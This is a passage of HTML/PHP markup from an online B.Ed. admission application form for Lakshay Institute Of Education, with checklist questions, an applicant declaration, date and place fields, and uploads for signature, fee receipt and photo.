<label1>e.&nbsp;That I have affixed with gum my latest photographs of specified required size (not xeroxed) at the
    	appropriate places in the application form: 
 
</label1>
  <input type="checkbox" name="checkbox5" value="yes" />&nbsp;Yes&nbsp;<input type="checkbox" name="checkbox5" id="checkbox5" value="no"/>&nbsp;No
 </div> 
 
 <div class="rows ">
<label1>f.&nbsp;That I have filled the Application Form accurately: 
</label1>
  <input type="checkbox" name="checkbox6" value="yes" />&nbsp;Yes&nbsp;<input type="checkbox" name="checkbox6" id="checkbox6" value="no"/>&nbsp;No
 </div> 
 <div class="rows ">
<label1>g.&nbsp;That I have made the same entries in the Application Form :  
</label1>
  <input type="checkbox" name="checkbox7" value="yes" />&nbsp;Yes&nbsp;<input type="checkbox" name="checkbox7" id="checkbox7" value="no"/>&nbsp;No
 </div>  
 <br />
<strong> (If the answer to any of the above seven question is No or the application form is deficient in any respect the same will be rejected and no correspondence will be made in this regard.)</strong>
<br />
<h2 align="center">Declaration by the applicant</h2>
<div class="sample ">
<table width="100%"  class="sample">
  <tr>
    <td><p>I declare that the  entries made by me in this application form are correct to the best of my  knowledge. I am<br />
      conscious of the fact  that if any of the entries is found to be corrected my admission is liable to  be cancelled. I<br />
      further solemnly  affirm that I have gone through the Hand Book of Information and shall abide by  the statutes<br />
      governing the  admission to B. Ed. Course and rules regulations of the College as amended and  enforced<br />
      from time to time and  also of the student conduct and discipline rules prescribed by the College as  enforced<br />
      from time to time. I am  neither involved in any criminal case nor is any criminal case pending against me  in any<br />
      Court of Law. I have  not been debarred, rusticated by the Institute last attended/presently  attending. If<br />
      discovered even after  confirmation of my provisional admission that I have made a false or incorrect<br />
      statement or concealed  any fact or used fraudulent means or such means have been used on my behalf for<br />
      securing admission, I  shall be liable to disciplinary action and cancellation of my admission without  prejudice<br />
      to such action as the  College may take against me. I agree to follow the Admission Procedure and  shall strictly<br />
      abide by all the  instructions of the College authorities in this regard.<br />
      Further, the Lakshay Institute Of Education shall not be responsible of postal delay if any involved  in the<br />
      receipt of my Application  form.<br />
      All disputes are  subject to the Territorial Jurisdiction of H.P.State only.</p></td>
  </tr>
</table><br />

<label>I Agree	</label><input type="radio" name="radio1" id="radio1" value="agree"/>&nbsp;&nbsp;&nbsp;<label>I Disagree</label><input type="radio" name="radio1" id="radio2" value="disagree"/>
 </div> 
   <div class="rows ">
<label>Place :</label>
<input type="text" name="place" id="place" />
 </div> 
   
   <div class="rows ">
<label>Date :</label>
<input type="text" name="date2" id="date" class="slimpicker"      alt="{
			dayChars:3,
			dayNames:['Sonntag', 'Montag', 'Dienstag', 'Mittwoch', 'Donnerstag', 'Freitag', 'Samstag'],
			daysInMonth:[31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31],
			format:'yyyy-mm-dd',
			monthNames:['Januar', 'Februar', 'M&auml;rz', 'April', 'Mai', 'Juni', 'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember'],
			startDay:1,
			yearOrder:'desc',
			yearRange:90,
			yearStart:2025
		}" value="1980-03-13" />
 </div> 
 
 <div class="clear"></div>
 <div class="rows ">
<label>Upload your scanned signature :</label><input type="file" name="signature" id="signature" /> 
 </div> 
 
  <div class="clear"></div>
 <div class="rows ">
<label>Upload the scanned copy of online Fee Submission and Advance Registration Fee (Bank Receipt) :
</label><input type="file" name="submission" id="submission" /> 
 </div>  
 
  <div class="clear"></div>
 <div class="rows ">
<label>Upload Photo:
</label><input type="file" name="photo" id="photo" /> 
 </div>
   <div class="clear"></div>
   <div class="rows">
<input type='submit' name='submit' id='submit' value='submit' />

</div>
</div>
</fieldset>
</form>
<br />
<br />

                          <p>&nbsp;</p>

</div>


 



</div>

<div class="internal_right"></div>

     
     
        <div class="clear"></div>
    </div>
	<!--Container End -->
</div>    
<div id="middle_wrapper">
  <div class="content_wrapper">
  
    <div class="slider_wrapper">
      
      <!--/ end slider -->
    </div>
    <!-- end sliders -->
    <div class="clear"></div>
  </div>
</div>
<!--/ end middle_wrapper -->
<?php include("includes/footer.php"); ?>
<!-- end footer -->
</body>
</html>